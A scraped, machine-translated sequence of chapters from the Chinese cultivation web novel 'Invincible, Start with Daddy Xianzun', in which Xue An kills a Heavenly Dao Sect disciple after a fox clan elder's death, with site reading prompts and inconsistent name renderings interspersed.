    Huye''s eyes were filled with tears in an instant, and his whole body couldn''t stop shaking.


    These things happened so quickly that it seemed to outsiders that Hu Ye just knelt and crawled over, and then the elder nodded on his forehead.


    Many Yaozu didn''t care.


    After all, Fox Ye was married today, and it was normal for the elder of Qingqiu Fox Country to ask him a few words.


    Only Tian Haoyan''s reaction was different.


    The first person to speak was Qi Liqing. She was shocked all over, and then exclaimed in a low voice: "The aura on his body is declining rapidly, obviously he can''t hold it anymore!"


    As soon as he said this, Tian Haoyan immediately stood up and shouted in a deep voice: "What are you waiting for? Charge me forward!"


    After all, he took the lead and rushed towards the high platform desperately.


    This change shocked the audience.


    "What''s the matter? What are the people going to do?"


    Just when many demons looked inexplicable.


    On the high platform, the elder of the Qingqiu Fox Country began to grow old at an eye-popping speed.


    Deep wrinkles climbed up to his forehead, and his black hair was as instant as white snow, and even the tall and straight back figure came down.


    This scene of change shocked all the monster races.


    Especially the group of elders from the Qingqiu Fox Country felt that the aura of the great elder was rapidly declining.


    Huwan finally understood something, and exclaimed, "Great Elder!"


    The voice was full of sadness and despair At this moment, Tian Hao Yan rushed over with a grinning face.


    "Old fox, what? Are you thinking about leaving everything to your descendants before you die? It''s a dream!"


    "Fox punishment, stop him!" the great elder said in an old voice.


    In fact, he didn''t need to tell him at all, just when Tian Hao Yan rushed over, the Fox Punishment had already flew up and blocked the way.


    Bang.


    A loud noise exploded.


    Fox Xing''s figure shook slightly, and Tian Hao Yan was shaken out.


    Immediately afterwards, Fox Punishment said with a murderous expression: "If anyone dares to step forward, die!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 1869 Teaching (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1865： Starting today, Fox Night is the...

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    When the words fell, the brilliance of the Qingqiu Fox Country was everywhere, and many elites gathered beside the high platform to protect the great elder and others.


    The situation instantly became extremely tense.


    And this sudden change also shocked the many monster races who came to watch the ceremony.


    The long elder patted his thigh, "What am I talking about, no wonder I always feel that something is wrong, it turns out that this old fox is dying!"


    Among the Fire Rat Clan, Huo Yaojing also looked horrified, but gradually, a weird brilliance appeared in her eyes, and then she stepped back without moving.


    At the same time, the elder looked down at Fox Ye who was already crying, and whispered: "Don''t cry. I just said that you are an adult, so why can you cry?"


    At this moment, Hu Ye''s heart was almost completely swallowed by grief. He had never hated himself like this.


    I''m really a fool through and through, and I have never understood why the elder suddenly agreed to his marriage and held it in such a hurry.


    This kind of remorse made Fox Ye''s eyes split, but after hearing the words of the elder, he still tried to stop the crying, and said with a trembling voice: "Elder, you..."


    The great elder waved his hand laboriously, "Needless to say, the matter is irreversible, now the most important thing is you!"


    As he said, the grand elder''s expression became serious, "You wait for the Fox Clan to listen to the order!"


    "in!"


    "From now on, Huye has been the lord of Qingqiu, in charge of the Nine Heavens Fox Clan. You must cooperate with all your strengths, and you can''t have the slightest disagreement, you understand?"


    As soon as this statement came out, the tears of countless fox tribes burst into their eyes, because they knew where this was a pass, it was clearly the great elder who was explaining the last words.


    The fox had already cried and turned into tears, but he was the first to roar, "Don''t worry, the elder, I will understand!"


    The fox races then roared: "I will understand!"


    The sound shook the hall, which also changed the discoloration of all monster races.


    Watching this scene, Ao Yi bit her silver teeth lightly, her eyes full of complicated light.


    The Long Clan Grand Elder sighed beside her: "Oh, a generation of Tianjiao strong, just like this!"


    In the sky, Tian Hao Yan finally calmed down the blood that had been simmering, and then looked at it with a grim expression, as if waiting for something.


    At this moment, the great elder said with a weaker voice, crying and worshipping Hu Ye, "Hu Ye, look up!"


    Hu Ye slowly raised his head.


    "You must remember that after you are gone, Qingqiu Fox Country will be blessed by you. You must do your best not to bully the weak, but you must not be greedy for life and fear of death, understand?"


    Huye was already crying so hard that she couldn''t even speak, so she could only nod her head to signal that she understood.


    At this moment, the face of the Great Elder became more and more aging, and his breath was already weak to the point of imperceptible. Even so, he still held up the last trace of strength and raised his head to say to Xue An.


    "Guren-sama... I''ll leave it to you!"


    Xue An didn''t speak from the beginning to the end, but stood aside and watched quietly. He nodded slightly until he heard the words of the great elder.


    "Don''t worry, since I agreed, I will do it naturally!"


    A smile was squeezed out of the face of the elder, "Thank you so much!"


    Although they were just two very simple words, it was already very difficult for the great elder at this time.


    Because he has been aging to the point where he is almost extinct, and many people can feel that Tiandao is madly rejecting and obliterating him.


    In fact, it is a miracle that he can survive now.


    At this moment, a vine suddenly stretched out in the space around the great elder, and then directly pierced into the body of the great elder, and began to instill vitality into his body.


    The fox screamed in surprise: "It''s the Sansheng tree!" Love my e-book


    But the next second, the glimmer of hope she had just raised was cut off.


    Because of Tiandao''s rejection and obliteration, these angers escaped right after entering the body of the elder.


    at the same time.


    The great elder chuckled and shook his head, then raised his hand with difficulty and gently stroked the branches in the void.


    "Don''t bother old friends, I really want to leave this time."


    The branches trembled lightly and made a whimper, as if crying.


    "Hehe, I have been with you for thousands of years, but I still have to leave early in the end, I''m sorry."


    When he said this, there was a rare gleam in the eyes of the great elder, and a layer of ruddy on his face.


    But this state is precisely the most dangerous.


    The branches kept spinning around the great elder, seeming to be anxiously looking for a solution.


    The elder chuckled, "Well, I have lived for tens of thousands of years, why are you still like a child? Come, let me introduce to you, this is Fox Night, you must know it, after I leave, you will Help him to protect the Qingqiu Fox Country, understand?"


    The branches gradually calmed down, but a little water dripped from them.


    "Answer me, do you understand?"


    The branch nodded.


    The great elder breathed out a hard breath, then his eyes dimmed a little bit, and he whispered, "Is death actually like this?"


    At this moment, Xue An suddenly stepped forward and said in a solemn voice: "Elder, didn''t you ask me before, what it''s like to die once? I can tell you now, the end of death ...Is rebirth!"


    "Rebirth...? I see!"


    The great elder whispered softly, a bright brilliance burst out in his eyes, and then he didn''t know where the strength came from, grabbed Xue An''s wrist.


    "Guren-sama, I have one last thing to ask you..."


    Xue An nodded imperceptibly, then leaned down and whispered in his ear: "Don''t worry, I will protect the fate after you die."


    After the elder heard the words, his eyes were full of relief, and the corners of his mouth gradually raised, revealing a smile of relief.


    "The end of death is rebirth! This sentence is really good."


    When the words fell, the skin on his body began to peel off.


    In an instant, his entire body turned into flying ashes and dispersed into the void.


    "The Great Elder!" The fox screamed and fell to the ground with a plop.


    Not only her, all the fox tribes, including many demon tribes who respect this fox elder, also knelt to the ground at this moment but Tian Haoyan focused all their attention on In the void after the death of the Great Elder.


    at last.


    In the scattered fly ash, a faint brilliance suddenly appeared.


    Tian Hao Yan was shocked, his eyes burst with extremely greedy eyes, "It''s the fairy emperor''s chance, give me a shot!"


    In fact, before he finished speaking, he directly surpassed the obstacles of Fox Punishment and others at a terrifying speed, and went straight to the brilliance.


    In addition, a trap-like talisman light appeared in his hand, obviously coming prepared.


    And after hearing the four words of Xiandi Chance, the audience was also shocked.


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 1870 since today, Fox Night is the Lord of Qingqiu (second more)) reading record, next time you open the bookshelf to see To!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1866： Xiandi chance

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    There has always been such a saying among the heavens, that is the realm below Da Luo, as long as you have enough talent, you can cultivate step by step.


    But after Da Luo, every step of promotion means that you will put in a hundred times more effort and... chance.


    In fact, chance is sometimes even more important than effort.


    Therefore, the great Luo powerhouses among the heavens are too numerous to say, but the immortal king powerhouses are relatively rare.


    And this is just the fairy king.


    The vast majority of the immortal king powerhouses among the heavens would not be able to make further progress in their lifetimes, for nothing else, just because there was no chance.


    Therefore, in order to be able to go further, the Lord of the Abyss was willing to become a running dog of some existence, even if it was a fake half-step immortal emperor.


    In the end, people even had a saying that there was a constant number of immortal emperors among the heavens.


    If you want to become an emperor, one must die, otherwise even if your cultivation is against the sky, you will not be able to prove the emperor.


    This is the reason why Tianhaoyan and others came to Qingqiu Fox Country. It was because they found out that this great elder had entered the realm of five decays of heaven and man and was about to die in order to capture his Just by chance came over.


    Now that the opportunity was in front of him, Tian Hao Yan naturally refused to let it go.


    I saw his hand approaching this opportunity a little bit.


    Seeing it is the time to successfully capture it.


    A hand suddenly protruded from the side and placed it directly on his wrist.


    Tian Hao Yan was taken aback for a moment, and immediately after that, he felt a powerful force that would lift him directly away.


    Then Xue An gave a soft voice.


    "Huh? Not dead?"


    In fact, Xue An''s attack was originally intended to directly end this Tian Hao Yan.


    After all, in Xue An''s eyes, this Tian Hao Yan was just a half-step fairy king.


    This kind of cultivation may be considered good when placed in the heavens, but it is completely insufficient in front of Xue An.


    But never expected that a blow that I thought was bound to die, but failed to win Tian Hao Yan.


    Even Tian Hao Yan was unscathed.


    Xue An was naturally surprised.


    at the same time.


    Tian Haoyan stood still in the air, and then stared at Xue An with a sullen face.


    "Who are you? How dare to take care of my Heavenly Dao Sect?"


    "Who am I?" Xue An was taken aback, and then smiled: "You don''t know who I am?"


    "Nonsense, how do I know who you are? And let me tell you, don''t think that you are good enough to do it arbitrarily. Obediently hand over this fairy emperor opportunity, I can let you have this Qingqiu fox country, otherwise ...."


    Tian Hao sneered a few times, "I make you want to walk around!"


    Xue An raised his eyebrows slightly, "Can''t eat and walk around? Okay, then I want to see what you have, and dare to talk to me in this tone."


    As he said, Xue Anxin grabbed the opportunity in the air, weighed it twice in his hand, and then said lightly: "Don''t you want this?"


    "That''s right! Hand it over." Seeing that the thing he dreamed of was held in Xue An''s hand casually, Tian Hao Yan couldn''t help but breathe a little heavy.


    Xue An smiled slightly, "It seems that you want it very much! You want it so much, then tell me, what is it to grab something? You know, the thing I hate most is that someone robs something, so..."


    Xue An waved back abruptly.


    This opportunity was directly hit between Huye''s eyebrows by him.


    The unconscious Fox Ye who had been struck by the death blow of the great elder only felt a sudden pain in Shihai, and then fainted.


    But this opportunity merged with Fox Ye. Literary works


    Xue An shrugged, "Here, you see, I accidentally dropped what you wanted, you shouldn''t be angry!"


    "No, no, maybe you are really angry?"


    Tian Haoyan stared at the fox night on the ground blankly, his eyes almost bursting with fire, especially after hearing Xue An''s ridicule, he furiously said: "Very well, since you are looking for death, then I will Your wish was fulfilled."


    With that said, he charged up again aggressively.


    But he rushed up faster, and retreated faster.


    Because he hadn''t waited to rush to the front, he was blown away by Xue An.


    But despite this, he just flew upside down for a certain distance, and then stood still again.


    Xue An raised his eyebrows slightly, and there was a hint of playful brilliance in his eyes.


    Although he used only 40% of the punch just now, it was definitely not something an ordinary half-step Immortal King could resist.


    However, this Tian Hao Yan was just flying out without any scars on his body, which naturally made Xue An curious.


    "Interesting, but I haven''t seen him in a few years, is the disciple of Tiandaozong already so strong?" Xue An said with a smile.


    Tian Hao Yan was determined in his heart, and then Jie Jie sneered: "Hehe, it''s useless to say anything now, because you are dead!"


    "Oh, isn''t it?"


    "Of course, because you can''t kill me, you can''t even hurt me, but I can let you die without burial..."


    Before the word "land" was uttered, Xue An''s indifferent voice suddenly came from behind him.


    "Can''t hurt you? Then I want to try it today!"


    Following the voice, Xue An patted it down.


    Unprepared, Tian Hao Yan could barely raise his hand to block Xue An''s palm.


    Boom!


    There was another loud noise.


    The agitated air wave spread swiftly, directly blasting a wall of this solid temple.


    In the midair, Tian Hao Yan was hit by Xue Ansheng into the ground like a cannonball, leaving only a bottomless hole on the surface.


    Everyone was stunned by the power of this palm.


    But before everyone could breathe a sigh of relief, in the humanoid hole, the embarrassed Tian Hao Yan suddenly rose into the sky and roared, "You fucking..."


    Boom!


    There was another loud noise. This time Xue An directly smashed him out sideways, then gently blew his fists, and said lightly: "This is the second punch, I think you can hold a few punches!"


    The next is Xue An''s exhibition game alone.


    In the middle of the air, Xue An''s figure dashed into the sky, flying this Tian Hao Yan, just like a human sandbag, without the strength to fight back.


    Only the loud sound of dongdongdong echoed in the temple Oh!


    It should be called the ruins of the temple now.


    Because under Xue An''s fist, the entire temple has collapsed.


    at last.


    After another punch was blasted, Tian Haoyan''s body suddenly heard a faint but extremely clear clicking sound.


    It''s as if something is broken.


    Tian Hao Yan''s complexion instantly turned pale.


    And Xue An smiled faintly, "It looks like...this armor on you is not that good!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1871 Xiandi Chance (third more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1867： The building will fall

    "Invincible, start novel cool notes from Daddy Xianzun ( Find the latest chapter!


    Tian Haoyan''s face can no longer be described as ugly, it is simply a human face.


    Because at this moment, from his chest, small cracks began to appear.


    Immediately afterwards, as if a layer of eggshell was broken, pieces of scales fell from his skin and turned into pieces.


    Until then, many people suddenly realized that this Tian Hao Yan had been wearing a piece of armor.


    It''s just that this armor is very magical, it will automatically transform into the shape of the skin after being worn on the body, and there is no clue from the outside.


    "Who are you? You are the same human race, why do you want to intervene in the Qingqiu Fox Country?" Tian Hao Yan roared with a ferocious face.


    At this moment, Zhuge Zang slowly walked out of the shadow in the corner, and then smiled slightly from Tian Hao Yan.


    "My God, don''t come here unharmed!"


    "You are..." Tian Hao Yan was shocked, feeling Zhuge Zang very familiar, but he couldn''t remember where he had seen it.


    Ao Liqing, who had been hiding silently, suddenly exclaimed, "Senior Zhuge, are you Senior Zhuge?"


    Zhuge Zang smiled and nodded, "Yes, it is me. If I admit that I am not wrong, you should be the descendant of the Qili family?"


    Qi Liqing''s face was solemn, then he took a deep breath, and said respectfully: "The thirty-ninth generation descendant of the Qili family, Qiliqing, has met Senior Zhuge."


    Zhuge Zang''s eyes narrowed slightly, "Is the thirty-ninth generation descendant? Who are you from Ailifeng?"


    "It''s the ancestor!"


    "Very well, I have met your family ancestors a few times. If you count it like this, I should be considered your predecessor. I really don��t understand. With your family��s personality, how could you do this? What''s coming?"


    Qi Liqing lowered his head and said with a sad look: "It''s true that I am the only one in the Qili family and a few elders who have lost combat effectiveness. As for why I did this..."


    Qi Liqing raised his eyes and looked at Tian Hao Yan who was aside.


    at the same time.


    This Tian Haoyan also woke up from the shock, "You...you are Zhuge Zang?"


    "Yes, it''s the old man!"


    Tian Hao Yan''s eyes gradually became cold, "What? Even your majestic heavens'' first fortunetellers have to intervene in this matter?"


    Zhuge Zang sighed softly, "Young Master Tian, ??I really don''t know. Tiandaozong and Qingqiu Fox Country have always been in the water, so why do they suddenly fight? Just for the chance of the Emperor?"


    "What? Isn''t this enough?" Tian Haoyan sneered: "Now this old fox is dead, and there are only two or three kittens left in the entire Qingqiu Fox Country. This immortal emperor''s chance has always been capable. The person who lives in it, I want to take it, it shouldn''t be too much!"


    As soon as this statement came out, the entire Qingqiu fox clan became furious.


    In the midst of grief and anger, even the usual ladylike demeanor was lost by the fox, "You fart, you dare to covet opportunities even with your strength!"


    Fox Punishment took a silent step forward, staring at Tian Hao Yan with murderous intent, and showed his attitude with practical actions.


    The smile on Zhuge Zang''s face gradually receded, "Not too much, of course not too much, but the question is, can you get it?"


    Tian Hao Yan sneered for a while, then glanced back at the group of hu-peng and dog-friends behind him, and said lightly: "It seems that we certainly can''t get it now, but..."


    Tian Hao Yan turned around and said arrogantly, "With the help of my teacher, this opportunity must still be ours."


    "As long as my Heavenly Dao Sect army arrives, a fox den can be broken with a finger."


    These words were extremely arrogant, but the complexion of everyone present changed.


    Because if it is true as Tian Hao Yan said, then the outcome of this matter is really unpredictable.


    After all, Tiandaozong is a real starry master. Thousands of years of background have led to the emergence of talents under its sect. The current suzerain is a top-notch master of the immortal king, and there are even rumors that it also enshrines unpredictable superpower By. Small composition novel


    With such a background, no matter who listens to it, it will feel pressure.


    Even Zhuge Zang''s expression condensed, and he obviously felt the thorny issue of this matter.


    Tian Hao Yan watched the changes in the expressions of the people present with great satisfaction, and then said very arrogantly: "Therefore, there are only two roads before you. One is to hand over the opportunity of the Emperor, and then I turn my head and leave. nothing."


    "Two... just waiting for my Heavenly Dao Sect''s army to crush the realm and crush you directly into powder."


    The audience was silent for a moment.


    In the dragon camp, Long Er''s princess Ao Yi''s face was sinking, watching quietly.


    The dragon elder couldn''t help sighing: "Sure enough, people take the tea to cool down! If that old fox is still alive, where would it be possible to get such a junior to shout here?"


    Ao Yi didn''t speak, but just fixed his gaze on Fox Ye who had fainted on the high platform, his gaze flickered, and he didn''t know what he was thinking.


    But in the Huo Yaojing camp, Huo Yaojing''s complexion became very strange.


    There are three points of fear, but more of it is fortunate.


    Fortunately, I did not marry into the Qingqiu Fox Country and became the wife of Fox Night.


    Because it looks like this, this Qingqiu Fox Country is already about to fall.


    If they don''t agree to this Tian Hao Yan''s request, when the Heavenly Dao Sect''s army arrives, the entire Qingqiu Fox Clan is in danger of being destroyed.


    Even if they agree, when they give out the fairy emperor''s chance, the entire Qingqiu fox country will immediately become a second-rate force among the monster race.


    Until then, I don��t know how many changes will happen.


    Thinking of this, Huo Yaojing couldn''t help but feel more grateful. As for the previous feelings for Huye, she had long been thrown out of the clouds.


    joke.


    Can feelings have their own lives?


    In the Qingqiu Fox Country, Huwan opened his mouth several times to speak, but finally closed his mouth.


    Because even though she was more angry than anyone, she wanted to kill this Tian Hao Yan more than anyone else.


    But she also knew the situation of Qingqiu Fox Country better than anyone else.


    Once the great elder died and lost the suppression of the top powerhouses, Qingqiu Fox Country was already in a precarious situation.


    Everywhere there are gazes.


    A little carelessness is an abyss that will never be restored.


    For example, if Dao Sect of Heaven is really killed, then Qingqiu Fox Country may really be over.


    So she could only close her mouth with grief and anger and then turned her head to tears secretly.


    Seeing this, Tian Haoyan couldn''t help becoming more proud and arrogant.


    But when the audience was silent, a calm and indifferent voice suddenly came.


    "I will not choose either way."


    As soon as this statement came out, everyone raised their heads and looked at the speaker.


    Seeing Xue An standing with his hand holding his hand, Hao Yan smiled slightly at Tian Hao Yan, "Because I want to choose the third way!"


    Tian Hao Yan''s face sank suddenly, his eyelids throbbed crazily, and he roared, "Who are you?"


    "My name is Xue An, but people generally call me... Red Lotus Immortal Venerable!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1872 Building will be tilted (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1868： 3rd road

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    Red Lotus Immortal!


    These four words seemed to have some kind of magical power, making Tian Haoyan, who was originally angry and mad, calm down instantly.


    "Red... Lotus Immortal? Are you the reincarnated Red Lotus Immortal?"


    Xue An smiled and nodded, "If there is no one with the same name, it should be me!"


    At this time, Tian Haoyan''s face turned blue and white, which was extremely wonderful.


    Because of this name, he has not known how many times he has heard it recently, and even his ears are about to become calluses.


    At the beginning, he was a bit disapproving, and even thought that those elders who stubbornly advised him not to be presumptuous after seeing Xue An were purely timid.


    Because no matter how powerful he was, it was something from the previous life. In this life, he was reincarnated and rebuilt, and now he is just an immortal king. What''s to be afraid of.


    After all, he has that old man''s scaly armor.


    But he never expected that after seeing Xue An, he finally understood the words of the elders.


    This Xue An obviously cannot be estimated by common sense.


    Because just a few punches, they exploded the scales that they depended on for their lives.


    What a shocking strength this is!


    But soon Tian Hao Yan calmed down, and then smiled coldly at Xue An.


    "It turned out to be Guren-sama, no wonder he cares about this!"


    The relationship between Xue An and Hu Ye is almost known to all the heavens.


    "Since you have taken care of this matter, then I will save you face! Let''s go!"


    With that said, Tian Hao Yan was about to take everyone away.


    He knew very well that he couldn''t beat Xue An at all with his own strength, especially when his life-saving armor was shattered.


    And this Xue An obviously wouldn''t be frightened by the name of his teacher.


    So the safest and most sensible way now is to leave first.


    After I returned to the teacher''s gate, I figured out a way to ask the old man to help. When the time comes, the red lotus and the red lotus are all shit!


    Tian Hao Yan was silently ruthless in his heart.


    But at this moment, Xue An suddenly stopped him, "Hold on!"


    Tian Hao Yan stopped and said strangely: "What? Lord Honglian has anything else to tell you?"


    "Did I say let you go?" Xue An said lightly.


    As soon as this remark came out, Tian Hao Yan was stunned for a moment, then a spiteful color appeared in his eyes, but it was quickly hidden perfectly.


    I saw him take a deep breath, "Guren-sama, what do you mean?"


    "I just said that I don''t choose the two roads you gave me. I want to choose the third road, which is..."


    Xue An raised the corners of his mouth, showing Bai Sensen''s teeth, "Kill you!"


    As soon as this sentence came out, Tian Hao Yan even thought he had heard it wrong.


    Not only him, but the audience was in an uproar.


    Because if it was just a Tianhao Yan, the cultivation base of the immortal king was only half a step, and if you killed it, you would kill it.


    The key is that his teacher is Heavenly Dao Sect!


    No one has ever dared to speak to a disciple of Tiandaozong like this.


    Li Qing also opened her eyes wide, covering her mouth with her hand, looking at Xue An on the high platform silly.


    She knows best how powerful Tiandaozong is.


    Otherwise, her entire family would not be controlled by Tiandao Sect, and she would not be forced to do such things with Tian Hao Yan.


    At the same time, Tian Haoyan gradually recovered his sobriety, then stared at Xue An with unkind eyes, and said in a cold tone: "Master Honglian, do you know what you mean by this?"


    "What does it mean?" Search for books


    "Hehe, I am the first big disciple of the Heavenly Dao Sect, and this time I was ordered by my master to do things. Do you think if I die, my master will let you go and still have this Qingqiu fox country?" Tian Hao Yan said gloomily.


    Xue An shook his head, "No!"


    "Humph!" Tian Hao Yan snorted triumphantly, "That..."


    He wanted to say, what are you still talking about here?


    But before he finished speaking, Xue An suddenly said: "If this is the case, then I will destroy your master as well! What do you think?"


    Tian Hao Yan was dumbfounded.


    How the **** doesn''t play cards according to the routine!


    Everyone was stupid.


    Who would have thought that Xue Anhui was so domineering and awe-inspiring, even the Heavenly Dao Sect was not even considered.


    Only Zhuge Zang laughed, as if he had expected all this.


    "You...you..." Tian Haoyan finally recovered his senses, and then pointed at Xue An with trembling hands.


    At this moment, Xue An''s figure suddenly disappeared in place, and when he appeared again, he had already come to Tian Haoyan''s side.


    Tian Hao Yan was shocked and turned back.


    But Xue An didn''t give him this chance at all, raised his hand and grabbed his neck, then lifted his life into the air.


    Although Tian Hao Yan is the cultivation base of the half-step Immortal King, this strength can be regarded as a powerful person when thrown into the heavens.


    But in front of Xue An, he was like a child, and he was choked before he could even react.


    Also pinched together was his blood and cultivation base, which made him unable to move his fingers, let alone struggle.


    I saw Tian Haoyan''s complexion flushed and he looked at Xue An with wide eyes, as if he didn''t believe that Xue An really dared to attack him.


    at the same time.


    Those who followed Tian Haoyan also became restless.


    Xue An just raised his eyes and glanced at them.


    At a glance, these people fell into an ice cellar, and then stood there obediently not daring to move.


    This majesty and majesty has also made the eyes of many demon women brilliant.


    Then Xue An smiled faintly at Tian Haoyan, "Do you think that no one dares to kill you, that''s why you are so arrogant?"


    Tian Hao Yan couldn''t even move, he could only blink frantically, and a begging color appeared in his eyes.


    But Xue An didn''t seem to see the same, "Why? Don''t speak? Or are you still not convinced?"


    Tian Hao Yan almost cried.


    His heart screamed wildly.


    You pinch me, how can I talk?


    But of course he dared not show it, so he could only look at Xue An pleadingly.


    But the next sentence Xue An said made him fall into an ice cellar, and even forgot to ask for mercy.


    "If I''m not wrong, the armor on your body is made from that guy''s scale armor, right? In other words, it is lurking in your Heavenly Dao Sect?"


    Tian Haoyan looked at Xue An blankly Is it wondering how I knew? "Xue An sneered, then slammed his wrist.


    Squeaking, a sour bone rubbing sound came from Tian Haoyan''s neck.


    Tian Hao Yan''s complexion also changed from red to black, his eyes protruding, and his handsome face became extremely hideous.


    "When you and your teachers committed heinous crimes, they should have thought that there would be such a day, but now, I just charge interest first!"


    After all, Xue An''s hand slammed hard.


    Bang.


    Tian Hao Yan''s neck was severely chopped off, and his head rose to the sky with blood, before falling to the ground and rolling away.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (the third way in Chapter 1873 (second more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1869： Congratulations on winning the qualification to survive...

    "Invincible, start novel cool notes from Daddy Xianzun ( Find the latest chapter!


    The headless corpse fell slowly to the ground. Xue An stood not far away, still wearing a white coat, still surpassing Xue Qishuang, not even a blood spot was splashed, as if the person who just cut off Tian Hao Yan''s neck was not him. There was even a gentle smile.


    But it''s this smile that makes many people chill.


    Especially the group of guys who followed Tian Haoyan trembling all over, their faces were ashen.


    Even Xue An didn''t speak, just raised his eyes and glanced at them, and these people collapsed on their own.


    I saw one of the men suddenly jumped out with great excitement, pointing at Qi Liqing and shouting: "Master Honglian, this matter has nothing to do with us, she and Tianshou did it together!"


    "Yes, yes, yes!" The rest of the people replied, "We are all bewitched by this woman!"


    Qi Liqing''s complexion suddenly turned red, and his eyes were full of anger, "You...you..."


    She was almost mad to death. It was clear that she was the one who was coerced, but she was beaten up by this group of people.


    At this moment, Zhuge Zang walked up quickly, "Brother Xue, I can assure you that this descendant of the Xili family is definitely not a bad person, and she must have her own difficulties in doing so."


    Xue An said calmly: "Oh? Why are you so sure?"


    "Because I believe in the style of the Chili family, and if they really dare to do anything wrong, then the art of ostentation they inherited should have long been invalidated, so I dare to conclude that this incident was definitely not what she did deliberately. "


    Hearing this, Qi Li Qing looked at Zhuge Zang very gratefully.


    Xue An smiled, and then looked at Tian Haoyan''s group of fox friends.


    "Have you heard? What my friend said is different from what you said. What can I do?"


    There was a cold sweat on their foreheads, and they planned to plant all their responsibilities on this young man, but they didn''t expect to kick them on the hornet''s nest.


    The man who spoke first squeezed a strong smile on his face, "Big...sir, this...this is all a misunderstanding."


    "Oh? Misunderstanding! Okay, then you can explain what the misunderstanding is!"


    Xue An put his hands on his chest and looked at him with a smile.


    It was such a simple act that made this man soaked in cold sweat.


    "Uh, this...this..." He racked his brain thinking, suddenly his eyes lit up, just about to say something.


    But at this moment, a strand of sword light pierced directly from the center of his eyebrows, and then burst out from behind his head.


    After a muffled bang, blood mixed with brains sprayed all over the floor, and then the man fell backward with a face full of consternation, and died in desperation.


    He didn''t believe Xue An would make a sudden move to death.


    At this time Xue An said calmly: "Sorry, the time is up!"


    Then Xue An raised his head and looked at the others.


    "I also give you a chance, who can give me a perfect explanation, who I will let go, understand?"


    This group of guys trembled all over, and then they started clamoring like a dream.


    "My lord, please listen to me, this matter really has nothing to do with me, I was forced!" Someone cried out for mercy.


    But the only answer to him was a muffled sound, and then he followed in the footsteps of the man just now and his head burst to death.


    "My lord, I am the descendant of Shuanglongshe. As long as you let me go, I will immediately go back to tell my teacher and let them support you." Someone tempted Xue An with a calm face.


    "Thank you, but no need!" Xue An said politely. In the next instant, this person''s brain was also smeared on the ground. Read the novel


    In short, no matter how these people cry and talk, what awaits them is always the monotonous and boring muffled noise.


    As a corpse fell, fewer and fewer people were standing. The ground was stained red and white with blood and brain, and the air was filled with disgusting blood.


    There was no expression on Xue An''s face, as if all this had nothing to do with him.


    at last.


    Those who survived completely collapsed.


    "Surnamed Xue, you bastard, you must die..." Someone yelled, but soon died with a muffled noise.


    The rest of them waited for the final trial with numb faces.


    Because in the face of real fear, people will despair.


    At this moment, Xue An stretched out a finger, "Now I need someone to go back and deliver the letter, that is to say, one of you can survive, but who it is, it depends on your performance!"


    As soon as the voice fell, one of them killed the person next to him.


    But this person was clearly prepared, and he actually blocked the blow.


    In an instant, these people began to kill each other, and the tragic methods were simply shocking.


    With just a cup of tea, the final outcome was decided.


    I saw a person covered in blood, standing shaky in the center of the field, looking at Xue An with a face full of fear.


    "Big...sir, I won."


    Xue An smiled slightly, "Very well, congratulations on winning the qualifications to survive. Next, I need you to report back to the Heavenly Dao Sect and tell them that I killed the people and I will not leave. I will wait in the Qingqiu Fox Country. Watch them! Do you understand?"


    The man nodded like garlic, "Understood!"


    "then you go!"


    This person respectfully bowed to Xue Anshen, and then flew up and flew away tremblingly.


    After he left, Xue An retracted his gaze, looked at Xi Liqing who was aside, and said lightly: "Now it''s time to talk about you!"


    Qi Liqing trembled all over, then lowered his head to tell the story about what happened.


    After saying that, she said with tears in her eyes: "The Heavenly Dao Sect controls everyone in my Aili family, forcing me to find the fairy emperor for them. Although I am reluctant in every way, for the continuation of the family, I finally agreed Come down."


    Zhuge Zang said anxiously after hearing the words: "Then now that Tian Hao Yan is dead, what about your family?"


    Qi Liqing shook his head, and said sadly, "I don''t know."


    Zhuge Zang became even more anxious, "Brother Xue, what can I do? If you know this, let Xi Liqing go back to report This can also confuse the Tiandaozong!"


    Xue An shook his head and chuckles when he heard the words, "You are wrong. The more you say that, the more miserable the people of her family will die. On the contrary, as it is now, her family still has a silver lining."


    There was a trace of confusion in Zhuge Zang''s eyes, but after all, he was an old river and lake that had been in the heavens for thousands of years, so he quickly understood it and couldn''t help but suddenly said.


    "That''s right, there is still a glimmer of life in this case. After all, Daozong would not act rashly when he couldn''t figure out the details that day. There is a high probability that people from the Xili family will be brought hostages!"


    Xue An nodded with a smile, just about to speak.


    At this moment, Hu Ying on the high platform suddenly shouted in surprise.


    "Brother, you are awake!"


    For the convenience of reading next time, you can click "Favorites" below to record this time (Chapter 1874, congratulations on winning the qualification to survive (third update)). Reading records will be available next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1870： Declare war

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    Huye slowly opened his eyes, and the first thing that caught his eye was A Rou''s cheeks full of tears.


    He stared blankly, the whole person seemed silly, and even his always smart eyes became dull.


    This state also frightened everyone.


    Hu Ying tremblingly shouted: "Brother, what''s the matter with you? Talk, don''t scare me!"


    Xue An and Zhuge Zang also rushed to the front at this time. Seeing this scene, Xue An couldn''t help but feel a little sad.


    At this moment.


